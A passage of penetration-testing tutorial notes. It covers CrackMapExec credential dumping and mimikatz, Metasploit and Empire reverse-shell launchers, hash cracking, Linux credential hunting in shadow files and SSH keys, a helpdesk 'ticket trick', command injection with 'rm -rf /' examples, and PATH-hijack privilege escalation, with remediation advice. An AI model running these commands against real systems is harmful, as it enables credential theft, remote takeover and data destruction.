    • crackmapexec smb 192.168.10.11 -u Administrator -p ‘P@ssw0rd’ -X ‘Get-ExcecutionPolicy’

    Getting Credentials

    # Dump local SAM hashes

    • crackmapexec smb 192.168.215.104 -u ‘Administrator’ -p ‘PASS’ –local-auth –sam

    # Dump LSA

    • crackmapexec smb 192.168.0.110 -u “admin1” -p “Admin.123” –lsa

    # Enable or disable WDigest to get credentials from the LSA Memory

    • crackmapexec smb 192.168.215.104 -u ‘Administrator’ -p ‘PASS’ –local-auth –wdigest enable
    • crackmapexec smb 192.168.215.104 -u ‘Administrator’ -p ‘PASS’ –local-auth –wdigest disable

    # Then you juste have to wait the user logoff and logon again

    # But you can force the logoff

    • crackmapexec smb 192.168.215.104 -u ‘Administrator’ -p ‘PASS’ -x ‘quser’
    • crackmapexec smb 192.168.215.104 -u ‘Administrator’ -p ‘PASS’ -x ‘logoff <sessionid>’

    # Dump the NTDS.dit from DC using methods from secretsdump.py

    # Uses drsuapi RPC interface create a handle, trigger replication

    # and combined with additional drsuapi calls to convert the resultant

    # linked-lists into readable format

    • crackmapexec smb 192.168.1.100 -u UserNAme -p ‘PASSWORDHERE’ –ntds

    # Uses the Volume Shadow copy Service

    • crackmapexec smb 192.168.1.100 -u UserNAme -p ‘PASSWORDHERE’ –ntds vss

    # Dump the NTDS.dit password history

    • smb 192.168.1.0/24 -u UserNAme -p ‘PASSWORDHERE’ –ntds-history

    Modules

    # List available modules

    • crackmapexec smb -L

    # Module information

    • crackmapexec smb -M mimikatz –module-info

    # View module options

    • crackmapexec smb -M mimikatz –options

    # Mimikatz module

    • crackmapexec smb 192.168.215.104 -u ‘Administrator’ -p ‘PASS’ –local-auth -M mimikatz
    • crackmapexec smb 192.168.215.104 -u ‘Administrator’ -p ‘PASS’ -M mimikatz
    • crackmapexec smb 192.168.215.104 -u Administrator -p ‘P@ssw0rd’ -M mimikatz -o COMMAND=’privilege::debug’

    [*] Get-ComputerDetails Enumerates sysinfo

    [*] bloodhound Executes the BloodHound recon script on the target and retreives the results to the attackers\’ machine

    [*] empire_exec Uses Empire\’s RESTful API to generate a launcher for the specified listener and executes it

    [*] enum_avproducts Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI

    [*] enum_chrome Decrypts saved Chrome passwords using Get-ChromeDump

    [*] enum_dns Uses WMI to dump DNS from an AD DNS Server

    [*] get_keystrokes Logs keys pressed, time and the active window

    [*] get_netdomaincontroller Enumerates all domain controllers

    [*] get_netrdpsession Enumerates all active RDP sessions

    [*] get_timedscreenshot Takes screenshots at a regular interval

    [*] gpp_autologin Searches the domain controller for registry.xml to find autologon information and returns the username and password.

    [*] gpp_password Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

    [*] invoke_sessiongopher Digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher

    [*] invoke_vnc Injects a VNC client in memory

    [*] met_inject Downloads the Meterpreter stager and injects it into memory

    [*] mimikatz Dumps all logon credentials from memory

    [*] mimikatz_enum_chrome Decrypts saved Chrome passwords using Mimikatz

    [*] mimikatz_enum_vault_creds Decrypts saved credentials in Windows Vault/Credential Manager

    [*] mimikittenz Executes Mimikittenz

    [*] multirdp Patches terminal services in memory to allow multiple RDP users

    [*] netripper Capture`\’s credentials by using API hooking

    [*] pe_inject Downloads the specified DLL/EXE and injects it into memory

    [*] rdp Enables/Disables RDP

    [*] scuffy Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares

    [*] shellcode_inject Downloads the specified raw shellcode and injects it into memory

    [*] slinky Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions

    [*] test_connection Pings a host

    [*] tokens Enumerates available tokens

    [*] uac Checks UAC status

    [*] wdigest Creates/Deletes the ‘UseLogonCredential’ registry key enabling WDigest cred dumping on Windows >= 8.1

    [*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module

    Metasploit

    # First, set up a HTTP Reverse Handler

    • msf > use exploit/multi/handler
    • msf exploit(handler) > set payload windows/meterpreter/reverse_https
    • msf exploit(handler) > set LHOST 192.168.10.3
    • msf exploit(handler) > set exitonsession false
    • msf exploit(handler) > exploit -j

    # Met_Inject module

    • crackmapexec smb 192.168.215.104 -u ‘Administrator’ -p ‘PASS’ –local-auth -M met_inject -o LHOST=YOURIP LPORT=4444

    Empire

    # Start RESTful API

    • empire –rest –user empireadmin –pass gH25Iv1K68@^

    # First setup an Empire HTTP listener

    • (Empire: listeners) > set Name test
    • (Empire: listeners) > set Host 192.168.10.3
    • (Empire: listeners) > set Port 9090
    • (Empire: listeners) > set CertPath data/empire.pem
    • (Empire: listeners) > run
    • (Empire: listeners) > list

    # Start RESTful API

    # The username and password that CME uses to authenticate to Empire’s RESTful API

    # Are stored in the cme.conf file located at ~/.cme/cme.conf

    • empire –rest –user empireadmin –pass gH25Iv1K68@^

    # Empire Module

    • crackmapexec smb 192.168.215.104 -u Administrator -p PASSWORD –local-auth -M empire_exec -o LISTENER=CMETest

    Sources

    https://notes.benheater.com/books/active-directory/page/crackmapexec

    https://cheatsheet.haax.fr/windows-systems/exploitation/crackmapexec/

    https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec-cheatsheet/

    [Offline] Cracking passwords with Sucrack

    Sucrack is a command-line tool written in Python and provides a simple and efficient way to crack passwords. It supports both single and multi-threaded cracking, enabling users to optimize performance based on their hardware capabilities. The tool is designed to crack password hashes using techniques such as dictionary attacks, hybrid attacks, brute-force attacks, and rule-based attacks.

    https://github.com/hemp3l/sucrack

    Installation

    To install the tool follow the steps in the developer site, or use linux APT package maanger to install

    • sudo apt install sucrack

    (OPTIONAL)

    • git clone https://github.com/hemp3l/sucrack
    • cd sucrack
    • ./configure
    • make

    How to use

    CLI Command Syntax:

    Usage: sucrack [-char] [-w num] [-b size] [-s sec] [-u user] [-l rules] wordlist
    
    The word list can either be an existing file or stdin. In that case, use '-' instead of a file name
    
    Options:
    h : print this message
    a : use ansi escape codes for nice looking statistics
    s sec : statistics display interval
    c : only print statistics if a key other than `q' is pressed
    r : enable rewriter
    w num : number of worker threads running with
    b size : size of word list buffer
    u user : user account to su to
    l rules : specify rewriting rules; rules can be:
        A = all characters upper case
        F = first character upper case
        L = last character upper case
        a = all characters lower case
        f = first character lower case
        l = last character lower case
        D = prepend digit
        d = append digit
        e = 1337 characters
        x = all rules

    Example #1

    1. Having a wordlist with possible password combinations we can run it against a user

    • sucrack -a -w 20 -s 10 -u kali -rl AFLafld wordlist.txt

     

    Password Hash Cracking using Hashcat & John

    In the field of cybersecurity, password cracking is an essential technique used to assess the strength of passwords and improve overall security. This article will explore two popular tools, Hashcat and John the Ripper, and demonstrate how to create a wordlist using Hashcat from a word and then use John the Ripper to crack a hash.

    Understanding Hashcat:

    Hashcat is a powerful password recovery tool that uses brute-force, rule-based, and mask-based attacks to crack password hashes. It supports a wide range of hash algorithms and is highly optimized for speed. Before we begin cracking a hash, we’ll leverage Hashcat’s functionality to create a wordlist.

    Creating a Wordlist with Hashcat:

    Step 1: Install Hashcat:

    • Visit the official Hashcat website (https://hashcat.net/hashcat/) and download the appropriate version for your system.
    • Install Hashcat by following the installation instructions provided on the website.

    Step 2: Create a Wordlist:

    Launch a terminal or command prompt and navigate to the directory where Hashcat is installed.

    Run the following command to generate a wordlist based on a simple word:

    • ./hashcat –stdout -a 0 vry4n?d > wordlist.txt

    Here, “vry4n?d” represents the simple word you want to create variations of, and “wordlist.txt” is the output file that will contain the generated wordlist.

    Understanding John the Ripper:

    John the Ripper (JtR) is another popular password cracking tool that works on various platforms. It combines several cracking modes, including dictionary-based, brute-force, and hybrid attacks, making it highly versatile and effective.

    Cracking a Hash with John the Ripper:

    Step 1: Install John the Ripper:

    • Visit the official John the Ripper GitHub repository (https://github.com/openwall/john) and follow the installation instructions for your specific operating system.

    Step 2: Prepare the Hash File:

    • Create a text file named “hash.txt” and paste the hash you want to crack into it. Ensure there are no additional characters or spaces in the file.

    Step 3: Launch John the Ripper:

    • Open a terminal or command prompt and navigate to the directory where John the Ripper is installed.

    Step 4: Run the Hash Cracking:

    Execute the following command to crack the hash using John the Ripper:

    • ./john –format=NT hash.txt –wordlist=wordlist.txt

    Here, “hash.txt” is the file containing the hash, and “wordlist.txt” is the wordlist generated in the previous step using Hashcat.

    Wait for John the Ripper to complete the cracking process. It will display the cracked password if successful.

    How to

    1. Having a hash ($2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO) that we need to crack, if we suspect of a word or list of words, in this case PleaseSubscribe!, we can use hashcat to create a random combination of characters

    • echo PleaseSubscribe! | hashcat -r /usr/share/hashcat/rules/best64.rule –stdout > wordlist.txt
    • cat wordlist.txt

    2. Having our wordlist, we can execute john against the hashfile

    • john hashfile.txt –wordlist=wordlist.txt
    • cat hashfile.txt

    3. This new password can be used to access other resource, escalate privileges, lateral movement, and so.

    Conclusion

    We explored the powerful password cracking tools Hashcat and John the Ripper. We learned how to create a wordlist using Hashcat, leveraging its flexibility and functionality. Then, we used John the Ripper to crack a hash by providing the generated wordlist. By understanding these tools and their capabilities, security professionals can assess the strength of passwords and enhance overall cybersecurity.

     

    [Credential Hunting] Extracting Credentials from Configuration Files

    Configuration files play a critical role in storing sensitive credentials for various applications and services. Attackers often target these files to extract valuable information, such as usernames, passwords, API keys, and database credentials. Understanding the techniques employed by adversaries is vital in implementing effective defensive measures.

    Techniques for Extracting Credentials

    Attackers utilize multiple methods to extract credentials from configuration files. The following techniques are commonly observed in credential extraction attacks:

    • File Parsing: Attackers parse configuration files, leveraging knowledge of file formats and patterns to identify and extract credentials.
    • Regular Expressions: Utilizing pattern matching techniques, attackers search for credential-like strings within configuration files.
    • File Inclusion Vulnerabilities: Exploiting vulnerabilities that allow them to read or include arbitrary files, attackers gain access to configuration files containing credentials.
    • Data Leakage: Identifying misconfigurations or insecure logging practices, attackers exploit logs or error messages that inadvertently reveal credentials.

    Common Configuration Files Containing Credentials

    Certain configuration files frequently store credentials, making them attractive targets for attackers. Examples of commonly targeted files include:

    • Web Application Configurations: Files like web.config (ASP.NET), .env (PHP), or application.properties (Java) may contain database credentials or API keys.
    • Database Configuration Files: Configuration files like my.cnf (MySQL) or pg_hba.conf (PostgreSQL) often store database access credentials.
    • Network Service Configurations: SSH server configurations (sshd_config), mail server configurations (smtpd.conf), or VPN configurations (openvpn.conf) may contain critical credentials.
    • Binary Analysis: Attackers analyze binary files associated with applications to extract credentials embedded within them.
    • Memory Scraping: Attackers target running processes or system memory to retrieve credentials stored temporarily during application runtime.
    • Configuration File Misplacement: Attackers exploit misconfigurations that result in configuration files being inadvertently placed in publicly accessible locations.
    • Server Misconfigurations: Attackers leverage misconfigurations in web servers, FTP servers, or other services to gain unauthorized access to configuration files and extract credentials.

    Example: Config files

    1. In this case we have an application installed, which is connected to a database, looking into the configuration files we found config.json, which contains a username and password. The first step is to identify the home folder for the application

    • whereis mattermost

    2. Knowing this help us find files using different techniques

    • ls -lR | grep -i conf
    • find /opt/mattermost -type f -iname “*config*” -o -iname “*conf*” 2> /dev/null
    • find /opt/mattermost -type f -exec grep -liE ‘username|password|user|pass’ {} +

    3. Searching though the output we found config.json, reading this file we can find

    • cat /opt/mattermost/config/config.json | grep -iE “user|username|pass|password”

    4. Knowing, this configuration file could contain additional information, we proceed to read it

    • cat /opt/mattermost/config/config.json | less

    Note: we also found something that seems SQL username and password

    5. We will try access this database

    • mysql -u mmuser -p
    • Password: Crack_The_MM_Admin_PW
    • show databases;

    Techniques

    Password Hunting – Filenames and File Contents

    When it comes to password hunting, one of the first things we should do is perform a high-level search to look for files that contain “password” in the filename. In addition to filenames, we should also be looking for the string “password” inside files.

    Hunting for Interesting Filenames

    1. We should start by looking for filenames that contain the word “password” in them before looking for the string “password” inside files on the filesystem. Additionally, we should also be looking for filenames that contain any other interesting strings that we can think of (config, php, etc.)

    • find / -exec ls -lad $PWD/* “{}” 2>/dev/null \; | grep -i -I “passw\|pwd”
    • find . -type f -exec grep -i -I “PASSWORD\|PASSWD” {} /dev/null \;
    • cat /var/mail/*; cat var/spol/mail
    • crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron; cat /etc/cron; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny; cat /etc/crontab; cat /etc/anacrontab; cat /var/spool/cron/crontabs/root
    • find /home/* -type f -name “*.txt” -o ! -name “*.*”

    2. Another command that we can use to comb the entire filesystem for files that contain a certain string in their name is the locate command.

    • locate ‘passw’
    • locate ‘pwd’
    • locate ‘*.php’
    • locate config.php
    • locate password; locate passwd
    • locate config.

    Hunting for Interesting Strings Inside Files

    1. There is a nice utilization of the grep command that we can use to search for files that contain the string “passw” and “pwd” across the entire filesystem; however, it does produce a RIDICULOUS amount of results.

    • grep –color=auto -rnw ‘/’ -iIe “PASS\|PASSW\|PASSWD\|PASSWORD\|PWD” –color=always 2>/dev/null
    • grep –color=auto -rnw ‘/’ -ie “PASSWORD\|PASSWD” –color=always 2> /dev/null

    2. we can navigate to common folders where we normally find interesting files, such as /var/www, /tmp, /opt, /home, etc. and then execute the following command:

    • grep –color=auto -rnw -iIe “PASSW\|PASSWD\|PASSWORD\|PWD” –color=always 2>/dev/null

    Check for Hashes Stored in Passwd/Shadow

    • find / -name passwd -xdev 2>/dev/null; find / -name shadow -xdev 2>/dev/null
    • cat /etc/passwd; cat /etc/shadow

    Old passwords in /etc/security/opasswd

    The /etc/security/opasswd file is used by pam_cracklib (a module used in Linux to ensure a good password policy is in place) to store the hashed version of old passwords used on the system to prevent users from reusing the same ones over and over again.

    • cat /etc/security/opasswd
    • find / -name opasswd -xdev 2>/dev/null

    Recently Modified Files

    It can be useful to check files that were modified recently, as they may be containing useful information and/or credentials.

    • find / -mmin -30 -xdev 2>/dev/null

    Credentials Stored in Memory

    Services will sometimes store the credentials entered by the end user in clear text in memory. The commands below can help find credentials stored in processes:

    • strings /dev/mem -n10 | grep -ie “PASSWORD|PASSWD” –color=always

    Password Hunting – Hidden Files and Folders

    1. On *nix systems, hidden files and folders will start with a period like the .bash_history file or the .ssh folder. To look for hidden files or folders, we can use the ‘-a’ switch when using the ls command, like so:

    • ls -la
    • ls -la /

    Passwords in Bash History Files

    1. The .bash_history file is a file that stores a history of user commands entered at the command prompt; used for viewing old commands that have been executed. The user’s current session saves the command history into memory, which can be viewed with the history command. But once that user logs off, the commands stored in memory are saved to the .bash_history file.

    • find / -name *_history -xdev 2> /dev/null
    • cat /home/user/.bash_history

    Passwords in SSH Keys

    1. When we are enumerating the different user profiles, we may come across a hidden folder that contains SSH keys! – This is commonly named .ssh and can be found using ls-la. we find there is an .ssh directory and inside an id_rsa file that we have read permissions on!

    The id_rsa file is a private key that can be used to login to SSH without knowing the users password, but only if no password was set when the key was created. This file is essentially the equivalent of a password, with regards to getting you into the system.

    • cd /home/usr/.ssh/id_rsa
    • cat id_rsa

    2. Uses Linux-based command grep to search the file system for key terms `PRIVATE KEY` to discover SSH keys.

    • grep -rnw “PRIVATE KEY” /* 2>/dev/null | grep “:1”

    3. Uses Linux-based grep command to search for the keywords `PRIVATE KEY` within files contained in a user’s home directory.

    • grep -rnw “PRIVATE KEY” /home/* 2>/dev/null | grep “:1”

    4. Uses Linux-based grep command to search for keywords `ssh-rsa` within files contained in a user’s home directory.

    • grep -rnw “ssh-rsa” /home/* 2>/dev/null | grep “:1”

    Password Hunting – MySQL

    1. Let’s jump into MySQL and enumerate the databases and tables. If we get lucky, we may find usernames and passwords for web applications as well as MySQL itself.

    • mysql -u root -p
    • show databases;
    • use <DB name>;
    • show tables;
    • select * from user;

    Apart from the default databases, we should ALWAYS be interested in custom ones. Especially when the custom DB is related to a web application. If we find some password hashes in here, we may be able to crack them and use them to increase our access.

    Password Hunting – /var/backups Folder

    The /var/backups folder is where some automatic backups are stored, such as a backup of both the passwd and shadow file. However, the default backup files will have a restricted set of permissions just like the actual files do.

    Essentially, we are looking for one of two scenarios…

    • The files in the backup folder have weak permissions allowing us to read files we should not be able to.
    • There are custom files in the folder that we can read.

    Hunting with LinPEAS

    For interesting strings in file names, LinPEAS only has the following sub-section: Searching *password* or *credential* files in home (limit 70). Although it says “in home”, it actually checks the entire filesystem. Unfortunately, the limit of 70 helps reduce output, but it also leaves out a lot of potential findings.

    The strings inside files is also very targeted, for example it searches for passwords in log files, config PHP files, as well as only a few others.

    For the rest of the LinPEAS example, we will look at how many of the same files it was able to find that we also found.

    • Config.php? – Found! – Finds the file and extracts the contents of the password.

    • passwd.dav? – NOT Found!
    • Hidden folder and file: /.important/.password? – Found! – Finds the files but does NOT extract the contents for us.

    • .bash_history files? – Found! – Finds which ones are readable by the current user, but does NOT extract the contents for us.
    • .ssh folder and SSH keys? – Found! – Finds which ones are readable by the current user, but does NOT extract the contents for us.

    • Hashes in MySQL? – NOT Found! – LinPEAS does not have the ability to access the database if there is a password set on the root MySQL user account.
    • pwds.db? – Found! – LinPEAS searches for interesting DB files and extracts the contents. Here we can see that it only dumps one hash in the file, but its enough to let us know we can go and explore it further manually.

    • backup.rar?– Found! – LinPEAS extracts all files from /opt and also has a check to find backup files.

    Scripts

    1. Script that can be used to find .conf, .config and .cnf files on a Linux system.

    • for l in $(echo “.conf .config .cnf”);do echo -e “\nFile extension: ” $l; find / -name *$l 2>/dev/null | grep -v “lib|fonts|share|core” ;done

    2. Script that can be used to find credentials in specified file types.

    • for i in $(find / -name *.cnf 2>/dev/null | grep -v “doc|lib”);do echo -e “\nFile: ” $i; grep “user|password|pass” $i 2>/dev/null | grep -v “\#”;done

    3. Script that can be used to find common database files.

    • for l in $(echo “.sql .db .*db .db*”);do echo -e “\nDB File extension: ” $l; find / -name *$l 2>/dev/null | grep -v “doc|lib|headers|share|man”;done

    4. Script that can be used to search for common file types used with scripts.

    • for l in $(echo “.py .pyc .pl .go .jar .c .sh”);do echo -e “\nFile extension: ” $l; find / -name *$l 2>/dev/null | grep -v “doc|lib|headers|share”;done

    5. Script used to look for common types of documents.

    • for ext in $(echo “.xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*”);do echo -e “\nFile extension: ” $ext; find / -name *$ext 2>/dev/null | grep -v “lib|fonts|share|core” ;done

    Some interesting keywords

    Passphrase

    Codephrase

    Passcode

    Keyphrase

    Secret

    Secure

    Access

    Secure passcode

    Authentication

    Auth

    Token

    Verification

    Identity

    Access

    Security

    Private

    Secret

    Cryptographic

    Keyfile

    Private code

    Cipher

    Secret

    Passkey

    Access

    Key

    password

    Unlock

    Security

    Code

    Secret

    Security

    Passcode

    Cipher

    Key

    Cryptographic

    Crypto

    Encryption

    Key pair

    Decryption

    Authentication

    Credential

    Auth

    Credential

    Identity code

    Access

    Countermeasures: Protecting Credentials in Configuration Files

    To mitigate the risk of credential extraction from configuration files, the following countermeasures should be implemented:

    • Encryption and Hashing: Encrypt or hash sensitive credentials within configuration files to make them unusable if obtained by attackers.
    • Secure File Permissions: Set appropriate file permissions to limit access to configuration files, ensuring that only authorized users can read or modify them.
    • Environment Variables: Store credentials as environment variables instead of hardcoding them in configuration files.
    • Credential Management Systems: Implement secure credential management systems that centralize and protect sensitive credentials.
    • Regular Auditing: Conduct regular audits to identify insecure configurations and ensure proper protection of credentials.
    • Secure Development Practices: Train developers on secure coding practices, emphasizing the importance of properly handling credentials in configuration files.

    Monitoring and Intrusion Detection

    Implementing robust monitoring and intrusion detection mechanisms can help identify unauthorized access or suspicious activities related to configuration files. Key monitoring measures include:

    • Log Monitoring: Regularly analyze logs for unusual activity, such as unexpected modifications or access to configuration files.
    • Intrusion Detection Systems (IDS): Deploy IDS solutions to detect anomalous patterns or known attack signatures targeting configuration files.
    • Endpoint Security: Employ endpoint security solutions that detect and prevent unauthorized access to configuration files.

    References

    https://juggernaut-sec.com/password-hunting-lpe/

    https://steflan-security.com/linux-privilege-escalation-credentials-harvesting/

    https://atom.hackstreetboys.ph/linux-privilege-escalation-password-and-keys/

    https://pentest.coffee/local-password-attack-and-credentials-theft-for-windows-linux-5764a1a25363

    [Exploitation] Ticket Trick: Exploiting Email Address Verification

    In today’s interconnected world, email addresses play a crucial role in verifying user identity. However, a vulnerability known as the “ticket trick” has emerged, potentially granting unauthorized individuals access to internal services of organizations. In this article, we will delve into the nature of the ticket trick vulnerability, explore how it can be abused, and discuss effective remedies to protect against this security issue.

    Description:

    The ticket trick vulnerability arises when non-employee users gain access to email addresses associated with a corporate domain, such as @Company.com. This vulnerability is particularly concerning as many cloud services rely on email addresses as “proof of employment.” By leveraging this vulnerability, unauthorized individuals can manipulate email address verification mechanisms to gain access to internal services like GitHub, Slack, Confluence, and others.

    How to Abuse the Vulnerability:

    • Identifying the Corporate Domain: The first step in exploiting the ticket trick vulnerability is identifying an organization that uses a corporate domain for email addresses. Common examples include @Company.com or @OrganizationName.com.
    • Gaining Access to Email Addresses: Non-employee users need to find a way to gain access to email addresses associated with the corporate domain. This might involve exploiting misconfigurations, overlooked email aliases, or weak access controls.
    • Cloud Service Account Creation: Next, the non-employee user proceeds to create an account on a cloud service that relies on email verification as proof of employment. During the account creation process, they provide an email address within the corporate domain.
    • Granting Access to Internal Services: The cloud service, considering the email address as proof of employment, grants access to internal services meant for employees. This could include code repositories, collaboration platforms, project management tools, and more.

    Example #1

    HelpDesks usually allow users to email to a temporary email address provided by HelpDesks to update the status of an open ticket. If though the corporate domain is used for tickets, this “feature” allows non-

    employee users to have access to @Company.com email addresses. Many cloud services take email

    addresses as “proof of employment” and may grant access to internal services like GitHub, Slack,

    Confluence, etc. Let’s try to create a new Ticket.

    1. In this case we have an app that offers a service to open a ticket with support

    • Click on “Open a New Ticket”

    2. Now fill in the information to open the ticket

    • Email Address: vry4n@test.com
    • Full Name: Unknown
    • Phone Number: 8758907777
    • Help Topic: Contact us
    • Issue Summary: I need technical support

    3. Once the request is submitted, this application provides us with a temporary email

    • 5774642@delivery.htb

    4. In this case we can check the ticket status providing the new temporary email

    • Click on “Check Ticket Status”

    5. We are displayed with an email inbox

    6. Now try to access any internal site and use this temporary email to sign in

    • 5774642@delivery.htb
    • Password: AdminAdmin!23

    7. After submitting the register form, we received an email to our temporary e-mail address 5774642@delivery.htb

    8. Click on the activation email form, and then use the credentials to log in, we manage to log in as an internal user, as we used an internal account to authenticate

    9. Looking through the channels we found an internal chat that includes some credentials

    Remedy recommendations

    • Multi-Factor Authentication (MFA): Implementing MFA can significantly enhance security. Require additional verification steps beyond email address confirmation, such as SMS verification, hardware tokens, or biometric authentication.
    • Identity and Access Management (IAM): Employ a robust IAM system that ensures access controls are well-defined and continuously audited. Regularly review and revoke access for non-employees or accounts associated with inactive or compromised email addresses.
    • Custom Verification Processes: Cloud services should develop custom verification processes that go beyond relying solely on email addresses. Consider additional identity verification methods, such as employment contracts, digital certificates, or HR validation.
    • Security Awareness and Training: Educate employees and users about the risks associated with email address verification and the potential impact of the ticket trick vulnerability. Encourage them to report any suspicious activity and maintain strong cybersecurity practices.

    Sources

    https://www.sherpadesk.com/blog/ticket-trick-hack-protection-for-small-businesses

    https://blog.segu-info.com.ar/2018/10/ticket-trick-acceder-cientos-de.html

    https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c

    https://www.secplicity.org/2017/09/22/unconventional-hacking-ticket-trick/

    https://thenextweb.com/news/ticket-trick-see-hackers-gain-unauthorized-access-slack-teams-exploiting-issue-trackers

     

    [Debugging] ltrace Tool

    ltrace is a powerful Linux debugging utility that allows you to intercept and trace library calls made by a program. It helps developers and system administrators understand how a program interacts with shared libraries, identify potential issues, and gain insights into the program’s behavior. ltrace is particularly useful for understanding the dynamic behavior of applications, as it traces the library calls at runtime

    ltrace is a powerful tool for tracing library calls and gaining insights into program behavior..

    Installation:

    Before using ltrace, you need to ensure that it is installed on your system. To install ltrace on a Debian-based system, use the following command:

    Linux

    • sudo apt-get install ltrace

    For Red Hat-based systems, use:

    • sudo yum install ltrace

    For macOS, you can install ltrace using Homebrew:

    • brew install ltrace

    Basic Usage:

    The basic syntax of ltrace is as follows:

    • ltrace [options] [command]

    Here, [options] are the various command-line options that you can use with ltrace, and [command] is the executable or command you want to trace.

    ltrace is typically used in scenarios where you want to:

    • Understand how a program interacts with shared libraries.
    • Diagnose issues related to library calls.
    • Identify potential performance bottlenecks caused by library functions.
    • Debug issues that may not be easily traceable with traditional debugging tools.
    • Now, let’s explore some practical examples to illustrate the usage of ltrace.

    Example 1: Tracing Library Calls of a Simple Program

    Let’s start with a simple C program, example.c, which uses the printf function from the standard C library:

    Compile the program:

    • gcc -o example example.c

    Trace the library calls using ltrace:

    • ltrace ./example

    In the output, you can see the library calls made by the printf function. For example, puts is called with the string “Hello, World!”.

    Example 2: Tracing a Specific Library Function

    In this example, we will trace only the strlen function from the C library:

    1. Compile the program:

    • gcc -o example2 example2.c

    2. Trace only the strlen function using ltrace:

    • ltrace -e strlen ./example2

    In the output, you can see that the strlen function is called with the string “Hello, ltrace!” and the length is printed.

    Example 3: Tracing Child Processes

    ltrace can also trace child processes created by the main program. Let’s create a simple C program, child.c, that will be executed as a child process:

    Compile the child program:

    • gcc -o child child.c

    Create a parent program that will execute the child program:

    Compile the parent program:

    • gcc -o parent parent.c

    Trace the library calls of the parent and child programs using ltrace:

    • ltrace -f ./parent

    In the output, you can see the library calls made by both the parent and child processes. The calls to puts correspond to the printf statements in each program.

     

    [C] Exploiting system() Calls in C and Command Injection

    The system() function in C is used to execute shell commands from within a C program. However, if user-supplied data is directly incorporated into the command string without proper validation and sanitization, it can lead to a command injection vulnerability. This allows an attacker to execute arbitrary commands on the underlying system with the privileges of the vulnerable program.

    Exploiting Command Injection:

    1. To exploit command injection, an attacker typically identifies a vulnerable program that incorporates user input into the system() function call without proper validation. Here’s an example:

    #include <stdio.h>
    #include <stdlib.h>
    
    int main() {
        char command[100];
        printf("Enter a command: ");
        scanf("%s", command);
        system(command);
        return 0;
    }

    In this code snippet, the user’s input is directly incorporated into the command string, which is then passed to the system() function. If the input is not properly validated, an attacker can manipulate it to execute arbitrary commands. For example, by entering ls; rm -rf /, the attacker can execute the ls command followed by the dangerous rm -rf / command.

    2. Using ltrace to find the calls, we see system() being called

    • ltrace ./example1
    • ls

    3. We can now try to inject a command

    • ltrace ./example1
    • ls;date

    Note: we see now the date output displayed

    Exploiting Command Injection while Reading a File:

    1. Let’s consider another example where a vulnerable program allows an attacker to execute arbitrary commands while reading a file:

    #include <stdio.h>
    #include <stdlib.h>
    
    int main() {
        char filename[100];
        printf("Enter a filename: ");
        scanf("%s", filename);
        char command[200];
        sprintf(command, "cat %s", filename);
        printf("Executing command: %s\n", command);
        system(command);
        return 0;
    }

    In this example, the program prompts the user for a filename and then constructs a command string to execute the cat command on the specified file. However, the input is not properly validated, allowing an attacker to inject arbitrary commands. For instance, if the user provides the input file.txt; rm -rf /, the attacker can execute the cat file.txt command followed by the dangerous rm -rf / command.

    2. Running ltrace we find out the system call

    • ltrace ./example2
    • /etc/hosts

    3. Exploiting this vulnerability we can inject commands

    • ltrace ./example2
    • /etc/hosts;date

    Note: we see now the date output displayed

    Subverting the PATH

    If the programmer forgets to specify the full path for a binary, /bin/sh will check each of the locations on the PATH, in order until it finds an executable with the correct name, as soon as it finds one, it executes it with the permissions of the owner of the calling program. You can see how this could be used for privilege escalation, something under the control of one user results in something happening with another users permissions.

    #include<stdio.h>
    
    int main()
    {
        system("ls");
        return(0);
    }

    1. Running program1 we can see that it prints the contents of the current directory

    • ./program1

    2. Running ltrace we can find out there is a system call

    • ltrace ./program1

    3. Since, the full path is not defined, we can try to alter the contents of the $PATH variable, $PATH variable in Linux is an environment variable that stores a list of directories where the operating system searches for executable files when a command is entered in the shell.

    • echo $PATH
    • PATH=/tmp:$PATH
    • echo $PATH

    4. We can now create a script in /tmp named ls, this new file needs to be set as executable

    • echo “/bin/date” > /tmp/ls
    • chmod 755 /tmp/ls
    • ./program1

    5. Knowing we could inject commands that would help us escalate priveleges, or even acquire persistence, such as adding a new user, or spawning a new shell with the privileges of the user that runs the app

    Examples

    [Example 1] Exploiting application system call

    1. In this scenario there is an application that apparently reads a file, and, executes the contents of it. It has SUID file set, so if we get to exploit it, we could get elevated privileges.

    • ls -l viewuser
    • ./viewuser

    2. We see /tmp/listusers file is not found. We will run ltrace to try to figure out, if there would be any system() call

    • ltrace ./viewuser

    3. Since, the script is executing system(), we can try to create a file in /tmp named as listusers file, we will enter /usr/bin/date command, and make this file as executable (making the file as executable could correct Permission denied error)

    • echo “/usr/bin/date” > /tmp/listusers
    • chmod a+x /tmp/listusers

    4. Now running the application again, we don’t see the (sh: 1: /tmp/listusers: not found) error, instead we get the output of the /usr/bin/date command

    5. Knowing we can execute a command we can now try to run a shell using /bin/bash

    • echo “/bin/bash” > /tmp/listusers
    • chmod a+x /tmp/listusers

    6. Execute the script again, and we get root

    • ./viewuser
    • whoami

    Remedy

    • Input Validation: Validate the filename input to ensure it adheres to the expected file naming conventions. Reject any input that contains invalid characters or patterns.
    • File Content Validation: Before executing the command obtained from the file, validate and sanitize the content to ensure it consists only of expected characters and patterns. Reject any content that does not adhere to the expected format.
    • Restricted Command Execution: Consider implementing a restricted environment where only specific commands or a whitelist of allowed commands can be executed. This reduces the impact of potential command injection vulnerabilities.
    • Also, use full paths when calling binaries, scripts or programs

    Sources

    https://failingsilently.wordpress.com/2017/09/08/exploiting-calls-to-system/

    https://www.go4expert.com/articles/exploit-c-t24920/

    https://ir0nstone.gitbook.io/notes/types/stack/syscalls

    Steganography with Steghide

